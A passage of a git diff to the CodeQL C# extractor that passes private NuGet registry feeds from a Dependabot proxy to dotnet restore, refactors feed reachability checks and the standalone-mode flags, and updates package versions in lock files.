@@ -2,7 +2,6 @@
 using System.Collections.Generic;
 using System.IO;
 using System.Linq;
-
 using Newtonsoft.Json.Linq;
 
 using Semmle.Util;
@@ -77,6 +76,11 @@ private string GetRestoreArgs(RestoreSettings restoreSettings)
                 args += " /p:EnableWindowsTargeting=true";
             }
 
+            if (restoreSettings.ExtraArgs is not null)
+            {
+                args += $" {restoreSettings.ExtraArgs}";
+            }
+
             return args;
         }
 
diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/EnvironmentVariableNames.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/EnvironmentVariableNames.cs
index d825e5daeb03..589e72d21265 100644
--- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/EnvironmentVariableNames.cs
+++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/EnvironmentVariableNames.cs
@@ -89,5 +89,10 @@ internal static class EnvironmentVariableNames
         /// Contains the certificate used by the Dependabot proxy.
         /// </summary>
         public const string ProxyCertificate = "CODEQL_PROXY_CA_CERTIFICATE";
+
+        /// <summary>
+        /// Contains the URLs of private nuget registries as a JSON array.
+        /// </summary>
+        public const string ProxyURLs = "CODEQL_PROXY_URLS";
     }
 }
diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/IDotNet.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/IDotNet.cs
index 2c10afa80ef2..eec6a2b8d3b2 100644
--- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/IDotNet.cs
+++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/IDotNet.cs
@@ -17,7 +17,7 @@ public interface IDotNet
         IList<string> GetNugetFeedsFromFolder(string folderPath);
     }
 
-    public record class RestoreSettings(string File, string PackageDirectory, bool ForceDotnetRefAssemblyFetching, string? PathToNugetConfig = null, bool ForceReevaluation = false, bool TargetWindows = false);
+    public record class RestoreSettings(string File, string PackageDirectory, bool ForceDotnetRefAssemblyFetching, string? ExtraArgs = null, string? PathToNugetConfig = null, bool ForceReevaluation = false, bool TargetWindows = false);
 
     public partial record class RestoreResult(bool Success, IList<string> Output)
     {
diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs
index 393e37579b71..f1ad43f83f97 100644
--- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs
+++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs
@@ -103,13 +103,14 @@ public HashSet<AssemblyLookupLocation> Restore()
             compilationInfoContainer.CompilationInfos.Add(("NuGet feed responsiveness checked", checkNugetFeedResponsiveness ? "1" : "0"));
 
             HashSet<string>? explicitFeeds = null;
+            HashSet<string>? allFeeds = null;
 
             try
             {
-                if (checkNugetFeedResponsiveness && !CheckFeeds(out explicitFeeds))
+                if (checkNugetFeedResponsiveness && !CheckFeeds(out explicitFeeds, out allFeeds))
                 {
                     // todo: we could also check the reachability of the inherited nuget feeds, but to use those in the fallback we would need to handle authentication too.
-                    var unresponsiveMissingPackageLocation = DownloadMissingPackagesFromSpecificFeeds(explicitFeeds);
+                    var unresponsiveMissingPackageLocation = DownloadMissingPackagesFromSpecificFeeds([], explicitFeeds);
                     return unresponsiveMissingPackageLocation is null
                         ? []
                         : [unresponsiveMissingPackageLocation];
@@ -156,7 +157,7 @@ public HashSet<AssemblyLookupLocation> Restore()
 
             var restoredProjects = RestoreSolutions(out var container);
             var projects = fileProvider.Projects.Except(restoredProjects);
-            RestoreProjects(projects, out var containers);
+            RestoreProjects(projects, allFeeds, out var containers);
 
             var dependencies = containers.Flatten(container);
 
@@ -166,11 +167,11 @@ public HashSet<AssemblyLookupLocation> Restore()
                 .ToList();
             assemblyLookupLocations.UnionWith(paths.Select(p => new AssemblyLookupLocation(p)));
 
-            LogAllUnusedPackages(dependencies);
+            var usedPackageNames = GetAllUsedPackageDirNames(dependencies);
 
             var missingPackageLocation = checkNugetFeedResponsiveness
-                ? DownloadMissingPackagesFromSpecificFeeds(explicitFeeds)
-                : DownloadMissingPackages();
+                ? DownloadMissingPackagesFromSpecificFeeds(usedPackageNames, explicitFeeds)
+                : DownloadMissingPackages(usedPackageNames);
 
             if (missingPackageLocation is not null)
             {
@@ -260,8 +261,33 @@ private IEnumerable<string> RestoreSolutions(out DependencyContainer dependencie
         /// Populates dependencies with the relative paths to the assets files generated by the restore.
         /// </summary>
         /// <param name="projects">A list of paths to project files.</param>
-        private void RestoreProjects(IEnumerable<string> projects, out ConcurrentBag<DependencyContainer> dependencies)
+        private void RestoreProjects(IEnumerable<string> projects, HashSet<string>? configuredSources, out ConcurrentBag<DependencyContainer> dependencies)
         {
+            // Conservatively, we only set this to a non-null value if a Dependabot proxy is enabled.
+            // This ensures that we continue to get the old behaviour where feeds are taken from
+            // `nuget.config` files instead of the command-line arguments.
+            string? extraArgs = null;
+
+            if (this.dependabotProxy is not null)
+            {
+                // If the Dependabot proxy is configured, then our main goal is to make `dotnet` aware
+                // of the private registry feeds. However, since providing them as command-line arguments
+                // to `dotnet` ignores other feeds that may be configured, we also need to add the feeds
+                // we have discovered from analysing `nuget.config` files.
+                var sources = configuredSources ?? new();
+                this.dependabotProxy.RegistryURLs.ForEach(url => sources.Add(url));
+
+                // Add package sources. If any are present, they override all sources specified in
+                // the configuration file(s).
+                var feedArgs = new StringBuilder();
+                foreach (string source in sources)
+                {
+                    feedArgs.Append($" -s {source}");
+                }
+
+                extraArgs = feedArgs.ToString();
+            }
+
             var successCount = 0;
             var nugetSourceFailures = 0;
             ConcurrentBag<DependencyContainer> collectedDependencies = [];
@@ -276,7 +302,7 @@ private void RestoreProjects(IEnumerable<string> projects, out ConcurrentBag<Dep
                 foreach (var project in projectGroup)
                 {
                     logger.LogInfo($"Restoring project {project}...");
-                    var res = dotnet.Restore(new(project, PackageDirectory.DirInfo.FullName, ForceDotnetRefAssemblyFetching: true, TargetWindows: isWindows));
+                    var res = dotnet.Restore(new(project, PackageDirectory.DirInfo.FullName, ForceDotnetRefAssemblyFetching: true, extraArgs, TargetWindows: isWindows));
                     assets.AddDependenciesRange(res.AssetsFilePaths);
                     lock (sync)
                     {
@@ -297,21 +323,21 @@ private void RestoreProjects(IEnumerable<string> projects, out ConcurrentBag<Dep
             compilationInfoContainer.CompilationInfos.Add(("Failed project restore with package source error", nugetSourceFailures.ToString()));
         }
 
-        private AssemblyLookupLocation? DownloadMissingPackagesFromSpecificFeeds(HashSet<string>? feedsFromNugetConfigs)
+        private AssemblyLookupLocation? DownloadMissingPackagesFromSpecificFeeds(IEnumerable<string> usedPackageNames, HashSet<string>? feedsFromNugetConfigs)
         {
             var reachableFallbackFeeds = GetReachableFallbackNugetFeeds(feedsFromNugetConfigs);
             if (reachableFallbackFeeds.Count > 0)
             {
-                return DownloadMissingPackages(fallbackNugetFeeds: reachableFallbackFeeds);
+                return DownloadMissingPackages(usedPackageNames, fallbackNugetFeeds: reachableFallbackFeeds);
             }
 
             logger.LogWarning("Skipping download of missing packages from specific feeds as no fallback Nuget feeds are reachable.");
             return null;
         }
 
-        private AssemblyLookupLocation? DownloadMissingPackages(IEnumerable<string>? fallbackNugetFeeds = null)
+        private AssemblyLookupLocation? DownloadMissingPackages(IEnumerable<string> usedPackageNames, IEnumerable<string>? fallbackNugetFeeds = null)
         {
-            var alreadyDownloadedPackages = GetRestoredPackageDirectoryNames(PackageDirectory.DirInfo);
+            var alreadyDownloadedPackages = usedPackageNames.Select(p => p.ToLowerInvariant());
             var alreadyDownloadedLegacyPackages = GetRestoredLegacyPackageNames();
 
             var notYetDownloadedPackages = new HashSet<PackageReference>(fileContent.AllPackages);
@@ -418,17 +444,23 @@ private void RestoreProjects(IEnumerable<string> projects, out ConcurrentBag<Dep
             return nugetConfig;
         }
 
-        private void LogAllUnusedPackages(DependencyContainer dependencies)
+        private IEnumerable<string> GetAllUsedPackageDirNames(DependencyContainer dependencies)
         {
             var allPackageDirectories = GetAllPackageDirectories();
 
             logger.LogInfo($"Restored {allPackageDirectories.Count} packages");
             logger.LogInfo($"Found {dependencies.Packages.Count} packages in project.assets.json files");
 
-            allPackageDirectories
-                .Where(package => !dependencies.Packages.Contains(package))
+            var usage = allPackageDirectories.Select(package => (package, isUsed: dependencies.Packages.Contains(package)));
+
+            usage
+                .Where(package => !package.isUsed)
                 .Order()
-                .ForEach(package => logger.LogDebug($"Unused package: {package}"));
+                .ForEach(package => logger.LogDebug($"Unused package: {package.package}"));
+
+            return usage
+                .Where(package => package.isUsed)
+                .Select(package => package.package);
         }
 
         private ICollection<string> GetAllPackageDirectories()
@@ -674,10 +706,42 @@ private bool IsFeedReachable(string feed, int timeoutMilliSeconds, int tryCount,
             return (timeoutMilliSeconds, tryCount);
         }
 
-        private bool CheckFeeds(out HashSet<string> explicitFeeds)
+        /// <summary>
+        /// Checks that we can connect to all Nuget feeds that are explicitly configured in configuration files
+        /// as well as any private package registry feeds that are configured.
+        /// </summary>
+        /// <param name="explicitFeeds">Outputs the set of explicit feeds.</param>
+        /// <param name="allFeeds">Outputs the set of all feeds (explicit and inherited).</param>
+        /// <returns>True if all feeds are reachable or false otherwise.</returns>
+        private bool CheckFeeds(out HashSet<string> explicitFeeds, out HashSet<string> allFeeds)
+        {
+            (explicitFeeds, allFeeds) = GetAllFeeds();
+            HashSet<string> feedsToCheck = explicitFeeds;
+
+            // If private package registries are configured for C#, then check those
+            // in addition to the ones that are configured in `nuget.config` files.
+            this.dependabotProxy?.RegistryURLs.ForEach(url => feedsToCheck.Add(url));
+
+            var allFeedsReachable = this.CheckSpecifiedFeeds(feedsToCheck);
+
+            var inheritedFeeds = allFeeds.Except(explicitFeeds).ToHashSet();
+            if (inheritedFeeds.Count > 0)
+            {
+                logger.LogInfo($"Inherited Nuget feeds (not checked for reachability): {string.Join(", ", inheritedFeeds.OrderBy(f => f))}");
+                compilationInfoContainer.CompilationInfos.Add(("Inherited Nuget feed count", inheritedFeeds.Count.ToString()));
+            }
+
+            return allFeedsReachable;
+        }
+
+        /// <summary>
+        /// Checks that we can connect to the specified Nuget feeds.
+        /// </summary>
+        /// <param name="feeds">The set of package feeds to check.</param>
+        /// <returns>True if all feeds are reachable or false otherwise.</returns>
+        private bool CheckSpecifiedFeeds(HashSet<string> feeds)
         {
-            logger.LogInfo("Checking Nuget feeds...");
-            (explicitFeeds, var allFeeds) = GetAllFeeds();
+            logger.LogInfo("Checking that Nuget feeds are reachable...");
 
             var excludedFeeds = EnvironmentVariables.GetURLs(EnvironmentVariableNames.ExcludedNugetFeedsFromResponsivenessCheck)
                 .ToHashSet();
@@ -689,7 +753,7 @@ private bool CheckFeeds(out HashSet<string> explicitFeeds)
 
             var (initialTimeout, tryCount) = GetFeedRequestSettings(isFallback: false);
 
-            var allFeedsReachable = explicitFeeds.All(feed => excludedFeeds.Contains(feed) || IsFeedReachable(feed, initialTimeout, tryCount));
+            var allFeedsReachable = feeds.All(feed => excludedFeeds.Contains(feed) || IsFeedReachable(feed, initialTimeout, tryCount));
             if (!allFeedsReachable)
             {
                 logger.LogWarning("Found unreachable Nuget feed in C# analysis with build-mode 'none'. This may cause missing dependencies in the analysis.");
@@ -704,14 +768,6 @@ private bool CheckFeeds(out HashSet<string> explicitFeeds)
             }
             compilationInfoContainer.CompilationInfos.Add(("All Nuget feeds reachable", allFeedsReachable ? "1" : "0"));
 
-
-            var inheritedFeeds = allFeeds.Except(explicitFeeds).ToHashSet();
-            if (inheritedFeeds.Count > 0)
-            {
-                logger.LogInfo($"Inherited Nuget feeds (not checked for reachability): {string.Join(", ", inheritedFeeds.OrderBy(f => f))}");
-                compilationInfoContainer.CompilationInfos.Add(("Inherited Nuget feed count", inheritedFeeds.Count.ToString()));
-            }
-
             return allFeedsReachable;
         }
 
@@ -760,23 +816,33 @@ private IEnumerable<string> GetFeeds(Func<IList<string>> getNugetFeeds)
             }
 
             // todo: this could be improved.
-            // We don't have to get the feeds from each of the folders from below, it would be enought to check the folders that recursively contain the others.
-            var allFeeds = nugetConfigs
-                .Select(config =>
-                {
-                    try
-                    {
-                        return new FileInfo(config).Directory?.FullName;
-                    }
-                    catch (Exception exc)
+            HashSet<string>? allFeeds = null;
+
+            if (nugetConfigs.Count > 0)
+            {
+                // We don't have to get the feeds from each of the folders from below, it would be enought to check the folders that recursively contain the others.
+                allFeeds = nugetConfigs
+                    .Select(config =>
                     {
-                        logger.LogWarning($"Failed to get directory of '{config}': {exc}");
-                    }
-                    return null;
-                })
-                .Where(folder => folder != null)
-                .SelectMany(folder => GetFeeds(() => dotnet.GetNugetFeedsFromFolder(folder!)))
-                .ToHashSet();
+                        try
+                        {
+                            return new FileInfo(config).Directory?.FullName;
+                        }
+                        catch (Exception exc)
+                        {
+                            logger.LogWarning($"Failed to get directory of '{config}': {exc}");
+                        }
+                        return null;
+                    })
+                    .Where(folder => folder != null)
+                    .SelectMany(folder => GetFeeds(() => dotnet.GetNugetFeedsFromFolder(folder!)))
+                    .ToHashSet();
+            }
+            else
+            {
+                // If we haven't found any `nuget.config` files, then obtain a list of feeds from the root source directory.
+                allFeeds = GetFeeds(() => dotnet.GetNugetFeedsFromFolder(this.fileProvider.SourceDir.FullName)).ToHashSet();
+            }
 
             logger.LogInfo($"Found {allFeeds.Count} Nuget feeds (with inherited ones) in nuget.config files: {string.Join(", ", allFeeds.OrderBy(f => f))}");
 
diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/SourceGenerators/DotnetSourceGeneratorWrapper/DotnetSourceGeneratorWrapper.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/SourceGenerators/DotnetSourceGeneratorWrapper/DotnetSourceGeneratorWrapper.cs
index 2feafb8323b5..680802449010 100644
--- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/SourceGenerators/DotnetSourceGeneratorWrapper/DotnetSourceGeneratorWrapper.cs
+++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/SourceGenerators/DotnetSourceGeneratorWrapper/DotnetSourceGeneratorWrapper.cs
@@ -37,7 +37,8 @@ public IEnumerable<string> RunSourceGenerator(IEnumerable<string> additionalFile
         {
             try
             {
-                var relativePathToCsProj = Path.GetRelativePath(sourceDir, csprojFile);
+                var relativePathToCsProj = Path.GetRelativePath(sourceDir, csprojFile)
+                    .Replace('\\', '/'); // Ensure we're generating the same hash regardless of the OS
                 var name = FileUtils.ComputeHash($"{relativePathToCsProj}\n{this.GetType().Name}");
                 using var tempDir = new TemporaryDirectory(Path.Join(FileUtils.GetTemporaryWorkingDirectory(out _), "source-generator"), "source generator temporary", logger);
                 var analyzerConfigPath = Path.Combine(tempDir.DirInfo.FullName, $"{name}.txt");
diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Assembly.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Assembly.cs
index cc36e41ff588..4ad05eea3833 100644
--- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Assembly.cs
+++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Assembly.cs
@@ -31,7 +31,7 @@ public override void Populate(TextWriter trapFile)
         {
             if (assemblyPath is not null)
             {
-                var isBuildlessOutputAssembly = isOutputAssembly && Context.ExtractionContext.Mode.HasFlag(ExtractorMode.Standalone);
+                var isBuildlessOutputAssembly = isOutputAssembly && Context.ExtractionContext.IsStandalone;
                 var identifier = isBuildlessOutputAssembly
                     ? ""
                     : assembly.ToString() ?? "";
@@ -72,7 +72,7 @@ public static Assembly CreateOutputAssembly(Context cx)
 
         public override void WriteId(EscapingTextWriter trapFile)
         {
-            if (isOutputAssembly && Context.ExtractionContext.Mode.HasFlag(ExtractorMode.Standalone))
+            if (isOutputAssembly && Context.ExtractionContext.IsStandalone)
             {
                 trapFile.Write("buildlessOutputAssembly");
             }
diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Invocation.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Invocation.cs
index 4db35fda985e..a6272974c22b 100644
--- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Invocation.cs
+++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Invocation.cs
@@ -133,7 +133,7 @@ public IMethodSymbol? TargetSymbol
                         .Where(method => method.Parameters.Length >= Syntax.ArgumentList.Arguments.Count)
                         .Where(method => method.Parameters.Count(p => !p.HasExplicitDefaultValue) <= Syntax.ArgumentList.Arguments.Count);
 
-                    return Context.ExtractionContext.Mode.HasFlag(ExtractorMode.Standalone) ?
+                    return Context.ExtractionContext.IsStandalone ?
                         candidates.FirstOrDefault() :
                         candidates.SingleOrDefault();
                 }
diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/NamedType.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/NamedType.cs
index b2106febaff3..96c523d5bbdc 100644
--- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/NamedType.cs
+++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/NamedType.cs
@@ -166,7 +166,9 @@ private class UnderlyingTupleTypeFactory : CachedEntityFactory<INamedTypeSymbol,
         // Create typerefs for constructed error types in case they are fully defined elsewhere.
         // We cannot use `!this.NeedsPopulation` because this would not be stable as it would depend on
         // the assembly that was being extracted at the time.
-        private bool UsesTypeRef => Symbol.TypeKind == TypeKind.Error || SymbolEqualityComparer.Default.Equals(Symbol.OriginalDefinition, Symbol);
+        private bool UsesTypeRef =>
+            Symbol.TypeKind == TypeKind.Error ||
+            SymbolEqualityComparer.Default.Equals(Symbol.OriginalDefinition, Symbol);
 
         public override Type TypeRef => UsesTypeRef ? (Type)NamedTypeRef.Create(Context, Symbol) : this;
     }
diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/Type.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/Type.cs
index efd09409afd8..266fbfa5d606 100644
--- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/Type.cs
+++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/Type.cs
@@ -25,6 +25,40 @@ public static bool ConstructedOrParentIsConstructed(INamedTypeSymbol symbol)
                 symbol.ContainingType is not null && ConstructedOrParentIsConstructed(symbol.ContainingType);
         }
 
+
+        /// <summary>
+        /// A hashset containing the C# contextual keywords that could be confused with types (and typing).
+        ///
+        /// For the list of all contextual keywords, see
+        /// https://learn.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/#contextual-keywords
+        /// </summary>
+        private readonly HashSet<string> ContextualKeywordTypes = [
+            "dynamic",
+            "nint",
+            "nuint",
+            "var"
+            ];
+
+        /// <summary>
+        /// Returns true in case we suspect this is a broken type.
+        /// </summary>
+        /// <param name="symbol">Type symbol</param>
+        private bool IsBrokenType(ITypeSymbol symbol)
+        {
+            if (!Context.ExtractionContext.IsStandalone ||
+                !symbol.FromSource() ||
+                symbol.IsAnonymousType)
+            {
+                return false;
+            }
+
+            // (1) public class { ... } is a broken type as it doesn't have a name.
+            // (2) public class var { ... } is an allowed type, but it overrides the `var` keyword for all uses.
+            //     The same goes for other contextual keywords that could be used as type names.
+            //     It is probably a better heuristic to treat these as broken types.
+            return string.IsNullOrEmpty(symbol.Name) || ContextualKeywordTypes.Contains(symbol.Name);
+        }
+
         public Kinds.TypeKind GetTypeKind(Context cx, bool constructUnderlyingTupleType)
         {
             switch (Symbol.SpecialType)
@@ -48,6 +82,9 @@ public Kinds.TypeKind GetTypeKind(Context cx, bool constructUnderlyingTupleType)
                     if (Symbol.IsBoundNullable())
                         return Kinds.TypeKind.NULLABLE;
 
+                    if (IsBrokenType(Symbol))
+                        return Kinds.TypeKind.UNKNOWN;
+
                     switch (Symbol.TypeKind)
                     {
                         case TypeKind.Class: return Kinds.TypeKind.CLASS;
diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Extractor/BinaryLogExtractionContext.cs b/csharp/extractor/Semmle.Extraction.CSharp/Extractor/BinaryLogExtractionContext.cs
index e4ad5f83e2a2..a77e44f2456f 100644
--- a/csharp/extractor/Semmle.Extraction.CSharp/Extractor/BinaryLogExtractionContext.cs
+++ b/csharp/extractor/Semmle.Extraction.CSharp/Extractor/BinaryLogExtractionContext.cs
@@ -47,7 +47,7 @@ public BinaryLogExtractionContext(string cwd, string[] args, string outputPath,
 
         public static string? GetAdjustedPath(ExtractionContext extractionContext, string sourcePath)
         {
-            if (extractionContext.Mode.HasFlag(ExtractorMode.BinaryLog)
+            if (extractionContext.IsBinaryLog
                 && extractionContext is BinaryLogExtractionContext binaryLogExtractionContext
                 && binaryLogExtractionContext.GetAdjustedPath(sourcePath) is string adjustedPath)
             {
diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Extractor/Context.cs b/csharp/extractor/Semmle.Extraction.CSharp/Extractor/Context.cs
index 67bb2808ae62..f231c8238a96 100644
--- a/csharp/extractor/Semmle.Extraction.CSharp/Extractor/Context.cs
+++ b/csharp/extractor/Semmle.Extraction.CSharp/Extractor/Context.cs
@@ -267,7 +267,7 @@ private void Populate(ISymbol? optionalSymbol, Entities.CachedEntity entity)
 
             bool duplicationGuard, deferred;
 
-            if (ExtractionContext.Mode is ExtractorMode.Standalone)
+            if (ExtractionContext.IsStandalone)
             {
                 duplicationGuard = false;
                 deferred = false;
@@ -376,7 +376,7 @@ private void ExtractionError(InternalError error)
 
         private void ReportError(InternalError error)
         {
-            if (!ExtractionContext.Mode.HasFlag(ExtractorMode.Standalone))
+            if (!ExtractionContext.IsStandalone)
                 throw error;
 
             ExtractionError(error);
diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Extractor/ExtractionContext.cs b/csharp/extractor/Semmle.Extraction.CSharp/Extractor/ExtractionContext.cs
index 262475ca5a16..899be99e028d 100644
--- a/csharp/extractor/Semmle.Extraction.CSharp/Extractor/ExtractionContext.cs
+++ b/csharp/extractor/Semmle.Extraction.CSharp/Extractor/ExtractionContext.cs
@@ -15,6 +15,8 @@ public class ExtractionContext
         public ExtractorMode Mode { get; }
         public string OutputPath { get; }
         public IEnumerable<CompilationInfo> CompilationInfos { get; }
+        public bool IsStandalone => Mode.HasFlag(ExtractorMode.Standalone);
+        public bool IsBinaryLog => Mode.HasFlag(ExtractorMode.BinaryLog);
 
         /// <summary>
         /// Creates a new extractor instance for one compilation unit.
diff --git a/csharp/extractor/Semmle.Extraction.Tests/DotNet.cs b/csharp/extractor/Semmle.Extraction.Tests/DotNet.cs
index c584b607ec8e..904ad04ce82f 100644
--- a/csharp/extractor/Semmle.Extraction.Tests/DotNet.cs
+++ b/csharp/extractor/Semmle.Extraction.Tests/DotNet.cs
@@ -123,7 +123,7 @@ public void TestDotnetRestoreProjectToDirectory2()
             var dotnet = MakeDotnet(dotnetCliInvoker);
 
             // Execute
-            var res = dotnet.Restore(new("myproject.csproj", "mypackages", false, "myconfig.config"));
+            var res = dotnet.Restore(new("myproject.csproj", "mypackages", false, null, "myconfig.config"));
 
             // Verify
             var lastArgs = dotnetCliInvoker.GetLastArgs();
@@ -141,7 +141,7 @@ public void TestDotnetRestoreProjectToDirectory3()
             var dotnet = MakeDotnet(dotnetCliInvoker);
 
             // Execute
-            var res = dotnet.Restore(new("myproject.csproj", "mypackages", false, "myconfig.config", true));
+            var res = dotnet.Restore(new("myproject.csproj", "mypackages", false, null, "myconfig.config", true));
 
             // Verify
             var lastArgs = dotnetCliInvoker.GetLastArgs();
diff --git a/csharp/paket.dependencies b/csharp/paket.dependencies
index 58829b5ec06f..9413de7b1fe4 100644
--- a/csharp/paket.dependencies
+++ b/csharp/paket.dependencies
@@ -4,7 +4,7 @@ source https://api.nuget.org/v3/index.json
 # behave like nuget in choosing transitive dependency versions
 strategy: max
 
-nuget Basic.CompilerLog.Util
+nuget Basic.CompilerLog.Util 0.9.8
 nuget Mono.Posix.NETStandard
 nuget Newtonsoft.Json
 nuget xunit
diff --git a/csharp/paket.lock b/csharp/paket.lock
index 795b9d0cfe1b..8120aadb5bd4 100644
--- a/csharp/paket.lock
+++ b/csharp/paket.lock
@@ -3,12 +3,12 @@ STRATEGY: MAX
 RESTRICTION: == net9.0
 NUGET
   remote: https://api.nuget.org/v3/index.json
-    Basic.CompilerLog.Util (0.9.4)
+    Basic.CompilerLog.Util (0.9.8)
       MessagePack (>= 2.5.187)
-      Microsoft.CodeAnalysis (>= 4.11)
-      Microsoft.CodeAnalysis.CSharp (>= 4.11)
-      Microsoft.CodeAnalysis.VisualBasic (>= 4.11)
-      Microsoft.Extensions.ObjectPool (>= 9.0)
+      Microsoft.CodeAnalysis (>= 4.12)
+      Microsoft.CodeAnalysis.CSharp (>= 4.12)
+      Microsoft.CodeAnalysis.VisualBasic (>= 4.12)
+      Microsoft.Extensions.ObjectPool (>= 9.0.2)
       MSBuild.StructuredLogger (>= 2.2.243)
       System.Buffers (>= 4.6)
     Humanizer.Core (2.14.1)
@@ -96,7 +96,7 @@ NUGET
       System.Reflection.Metadata (>= 8.0)
       System.Threading.Channels (>= 7.0)
     Microsoft.CodeCoverage (17.12)
-    Microsoft.Extensions.ObjectPool (9.0)
+    Microsoft.Extensions.ObjectPool (9.0.3)
     Microsoft.NET.StringTools (17.12.6)
     Microsoft.NET.Test.Sdk (17.12)
       Microsoft.CodeCoverage (>= 17.12)
diff --git a/csharp/paket.main.bzl b/csharp/paket.main.bzl
index e87f635dee0d..90d568ba3a83 100644
--- a/csharp/paket.main.bzl
+++ b/csharp/paket.main.bzl
@@ -7,7 +7,7 @@ def main():
     nuget_repo(
         name = "paket.main",
         packages = [
-            {"name": "Basic.CompilerLog.Util", "id": "Basic.CompilerLog.Util", "version": "0.9.4", "sha512": "sha512-VJMBSOOcdPD6ihA5k1gnVkDbH9GCABmx1055fFikEImT2dFp4yZhN7zMd8PW14tIb3BXIieP557n8xE+J2Y8Dw==", "sources": ["https://api.nuget.org/v3/index.json"], "dependencies": {"net11": [], "net20": [], "net30": [], "net35": [], "net40": [], "net403": [], "net45": [], "net451": [], "net452": [], "net46": [], "net461": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "net462": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "net47": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "net471": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "net472": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "net48": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "net5.0": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "net6.0": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "net7.0": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "net8.0": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "net9.0": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "netcoreapp1.0": [], "netcoreapp1.1": [], "netcoreapp2.0": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "netcoreapp2.1": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "netcoreapp2.2": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "netcoreapp3.0": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "netcoreapp3.1": 